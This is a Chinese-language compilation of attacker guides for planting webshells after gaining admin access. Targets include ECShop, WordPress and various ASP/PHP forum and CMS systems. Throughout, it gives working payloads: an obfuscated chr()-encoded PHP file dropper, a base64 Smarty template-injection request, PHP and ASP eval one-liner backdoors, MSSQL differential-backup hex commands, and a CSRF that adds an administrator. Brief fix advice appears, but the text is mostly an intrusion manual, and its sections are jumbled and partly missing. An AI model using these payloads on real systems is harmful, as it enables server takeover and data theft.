以下是小编精心整理的ecshop后台获取shell方法,通杀版本&后台低权限网站安全(共含9篇),希望对大家有所帮助。同时,但愿您也能像本文投稿人“RavenSeibert”一样,积极向本站投稿分享好文章。
后台可以提交构造代码绕过过滤,成功解析生成一句话木马.
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
丢个关键字:Powered by ECShop
首先我去安装最新版,
安装完成,
选择模版管理 - 语言项编辑
搜索“用户信息” 在用户信息后面加上:
然后确认修改, 访问根目录下user.php
在同目录下生成pcsli.php 一句话密码为:pcsli
ecshop后台拿shell个人总结七种方法 -个人工作总结
ecshop后台拿shell个人总结七种方法-03-19 09:30ecshop后台拿shell个人总结七种方法03月18日星期五19:10最近想弄个ecshop做销售。装好ecshop V2.7.2版本之后,测试后台拿shell。本人整理给自己看的,大家飘过就好。BY:黑猫ecshop后台拿shell个人总结七种方法一、(本人测试已经失效)系统==数据库管理==sql查询(可爆出物理路径):==创建表失败,导不出shell==show databases;use数据库名;create a(cmd text not null);insert into a(cmd)values(?php eval($_POST[cmd]);?);select cmd from ainto outfile导出路径;drop table if exists a;==创建表失败,导不出shell===二、(本人测试已经成功)前台留个言,内容是我们的一句话木马:?php eval($_POST[cmd]);?接着在后台系统==数据库管理==数据备份==选择自定义备份,选择ecs_feedback这张表(存放留言的表)备份文件名:x.php;.sql(x.php.sql形式出错,菜刀链接不成功)然后菜刀链接成功三、(本人测试已经成功)1、添加会员,会员名称插入插入一句话:?php eval($_POST[cmd]);?,其他随便填写。2、系统==数据库管理==数据备份---自定义备份---选“XXX_users”(其中XXX因各站而异,是数据前缀)3、备份文件名为mm.php;.sql 4、一句话客户端连接mm.php;.sql,地址一般为四、(本人测试已经成功)模板管理==库项目管理==选择myship.lbi配送方式。在文件内容最后面加入一句话代码:?php eval($_POST[cmd]);?菜刀链接成功。说明:有些服务器过滤了eval导致失败。五、(发布权限)(本人测试已经失效)代码省略对Media没有任何限制.直接Type=Media上传你的'解密webshell访问路径为六、(测试成功,别人2011.02.05的记录)上传txt并且没有过滤任何函数.于是运用到了php的文件操作…script language=“php”$file=file_get_contents(“C:\Inetpub\wwwroot\ecshop\data/Article/1286344719152816497.txt”);if($file){$file=“C:\Inetpub\wwwroot\ecshop\data/Article/1286344719152816497.txt”;$newfile=C:\Inetpub\wwwroot\ecshop\data/distant.php;a.txt;copy($file,$newfile);}/script将以上代码插入库项目管理中的myship.ini打开即在目录下生成distant.php;a.txt菜刀连接之…搞定.七、(本人测试已经失效)进入后台-系统设置-Flash播放器管理-直接上传x.php ecshop V2.7.2版本已经没有这个选项,所以这个已经失效。首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
1if ($_REQUEST['act'] == 'update_library')
2
3{
4check_authz_json('library_manage');
5
6$html = stripslashes(json_str_iconv($_POST['html']));
7
8$lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
9
10$lib_file = str_replace(“0xa”, '', $lib_file); // 过滤 0xa 非法字符
11
12$org_html = str_replace(“\xEF\xBB\xBF”, '',file_get_contents($lib_file));
13
14if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
15{
16@file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
17make_json_result('', $_LANG['update_lib_success']);
18}
19else
20{
21make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
22}
23}
那么找个比较方便调用了模板的文件
index.php
1if ($act == 'cat_rec')
2
3{
4
5$rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
6
7$rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
8
9$cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
10
11include_once('includes/cls_json.php');
12
13$json = new JSON;
14
15$result = array('error' =>0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
16
17$children = get_children($cat_id);
18
19$smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
20
21$smarty->assign('cat_rec_sign', 1);
22
23$result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
24
25echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
26
27echo $rec_array[$rec_type];
28
29die($json->encode($result));
30
31}
那么就有利用方法了
post包到localhost/ec/admin/template.php?act=update_library
Post内容:
1lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
然后访问localhost/ec/index.php?act=cat_rec
shel地址:localhost/ec/demo.php
密码c
后台拿shell全集
今天带给大家的都是些技术上的总结,有些人老问经验怎么来的,这个就是经验,希望大家都能成为脚本高手.
动网上传漏洞,相信大家拿下不少肉 ,可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下,现在这种漏洞已经基本比较难见到了,不排除一些小网站仍然存在此漏洞。在拿站过程中,我们经常费了九牛两虎之力拿到管理员帐号和密码,并顺利进入了后台,虽然此时与拿到网站webshell还有一步之遥,但还是有许多新手因想不出合适的方法而被拒之门外。因此,我们把常用的从后台得到webshell的方法进行了总结和归纳,大体情况有以下十大方面。
注意:如何进入后台,不是本文讨论范围,其具体方法就不说了,靠大家去自己发挥。此文参考了前人的多方面的资料和信息,在此一并表示感谢。
一、直接上传获得webshell
这种对php和jsp的一些程序比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文件url应该是forums/images/smiles/下,前一阵子的联众游戏站和网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。
二、添加修改上传类型
现在很多的脚本程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格! 七、asp+mssql系统
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
<form. action=网站/bbs/admin_data.asp?action=RestoreData&act=Restore method=“post”>
<p>已上传文件的位置:<input name=“Dbpath” type=“text” size=“80”></p>
<p>要复制到的位置:<input name=“backpath” type=“text” size=“80”></p>
<p><input type=“submit” value=“提交”></p> </form>
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了,恢复代码和此类似,修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程序后台,动网的数据库还原和备份是个摆设,不能执行sql命令备份webshell,只能执行一些简单的查询命令。可以利用mssql注入差异备份webshell,一般后台是显示了绝对路径,只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码,利用动网7.0的注入漏洞可以用差异备份一个webshell,可以用利用上面提到的方法,将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要代码:
;declare @a sysname,@s varchar(4000) select @a=db_name,@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中,0x626273是要备份的库名bbs的十六进制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request(“l”)%>的十六进制,是lp最小马;0x643A5C7765625C312E617370是d:\web\1.asp的十六进制,也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell,唯一的不足就是备份后的文件过大,如果备份数据库中有防下载的的数据表,或者有错误的asp代码,备份出来的webshell就不会成功运行,利用差异备份是成功率比较高的方法,并且极大的减少备份文件的大小,
八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件,因为所有的数据是存放在mysql里的,所以我们可以通过正常手段把我们的webshell代码插入mysql在利用SELECT ... INTO OUTFILE语句导出shell。
就可以暴出路径,php环境中比较容易暴出绝对路径:)。提一点的是遇到是mysql在win系统下路径应该这样写。下面的方法是比较常用的一个导出webshell的方法,也可以写个vbs添加系统管理员的脚本导出到启动文件夹,系统重起后就会添加一个管理员帐号
就会在up目录下生成文件名为saiy.php内容为的最小php木马, 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码 将会在当前目录生成一个a.php的最小马。
九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台, 风格模版设置 ,在随便一行写代码,记住,这代码必须顶着左边行写,代码前面不可以有任何字符。
方始2 脏话过滤法
方式3 用户等级管理
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。
十、也可以利用网站访问计数系统记录来获得webshell
解决方案
由于本文涉及的代码版本很多,所以不可能提供一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补,若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补,可以到相关 下载最新补丁进行修复更新。同时也请大家能时刻关注各大安全网络发布的最新公告,若自己发现相关漏洞也可及时通知 。
后记
其实,从后台得到webshell的技巧应该还有很多的,关键是要看大家怎么灵活运用、触类旁通,希望本文的方法能起到抛砖引玉的作用。 各位加油吧,让我们将服务器控制到底!
三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改配置文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。
四、利用后台管理向配置文件写webshell
利用“”“”:“”//“等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上cnhacker@263.net”:eval request(chr (35))//, 在配制文件中就是webmail=“cnhacker@263.net\”:eval request(chr(35))//“,还有一种方法就是写上 cnhacker@263.net”%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的 客户端来连,需要说明的是数据库插马时候要选前者。再如动易,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马“%><%execute request(”l“)%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址网站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为其他后缀 如.txt文件,从而可以查看并获得网页源代码,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看源代码来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。
后台没有token有木有!!!
所以,做好一个自动提交表单,且载入与一个隐藏的框架中,给管理员访问,管理员就中招了有木有!!!
POC:
代表乌云消灭你 Ecshop Csrf获取管理员权限测试 By VIP
给管理员访问这个页面后,页面没有变化,但是后台其实已经增加了一个用户名wooyun 邮箱root@wooyun.org 密码wooyuntest123的管理员 有木有!!!
修复方案:
token呀
来自t00ls
不是0day,只是之前用了一周的WP试着做博客来着,发现WP如果能进后台就可以直接拿SHELL的。
大牛说插入404文件,那个何必呢,动别人文件总归是不好,插挂了就悲剧了,
本机建立目录“wawa”,把一句话1.php放进去。打包wawa目录为zip文件。WP后台的主题管理,上传主题,安装。则你的后门路径为:
wp-content\themes\wawa\1.php
毫无技术含量,大牛不要拍我。
拿shell方法来自法客的ytshengang基友(在原有的基础上有所增加) 本例子及fix方法是自己测试的,
首先,打开wp站点,查看源码。
从上可以看到对方使用的是Hcms主题以及主题的路径。
site/wp-content/themes/Hcms/
然后进入后台,选择外观-编辑。
此时在右侧随便找个模版编辑成tester所需的yjh即可。记得保存。(测试的时候因为password不对而多次无法链接 不过pwd在纯数字的情况下直接链接 奇怪。。)
特殊情况:WordPress for SAE 禁止在线更改主题代码。您可以将代码下载到本地,修改后重新上传。如果遇到这种,既然都搞到后台密码了,那就试试看能不能从sae的代码管理里突破,
这时可能会碰到SAE安全认证-安全密码,既然都得到后台pwd了,那就再社工这个密码试试。如果顺利编辑代码,那效果是一样的。
最后所得到yjh的路径为:site/wp-content/themes/Hcms/includes/yjh.php
测试成功。
修复方法:
1、锁死权限,最好是可读、不可写。(sina云的数据库只有读、写的权限非常非常的小;而一般的数据库写权就非常的大了,比如这个例子。)
2、加强安全,比如文章中提到的SAE的安全认证。(最好不要与后台的pwd一样)
3、隐藏或设置假的主题绝对目录,从第一步就拒绝hacker。(自己猜想 具体实现方法还请大牛讲解)
注:因为这是笔者拿朋友的博客测试的,他是个人的数据库,所以权限比较大。
这个方法容易引起出错,如果用这个方法建议用最快的速度给恢复,
我本地显示样式问题。
”%><%execute(request(chr(35)))%><%'
输入代码,
配置文件插入一句话
一句话连接地址:www.xx.com/inc/config.asp
还有个就是后台自带的fck可以直接上传1.asp;1.jpg
上传二次就可以了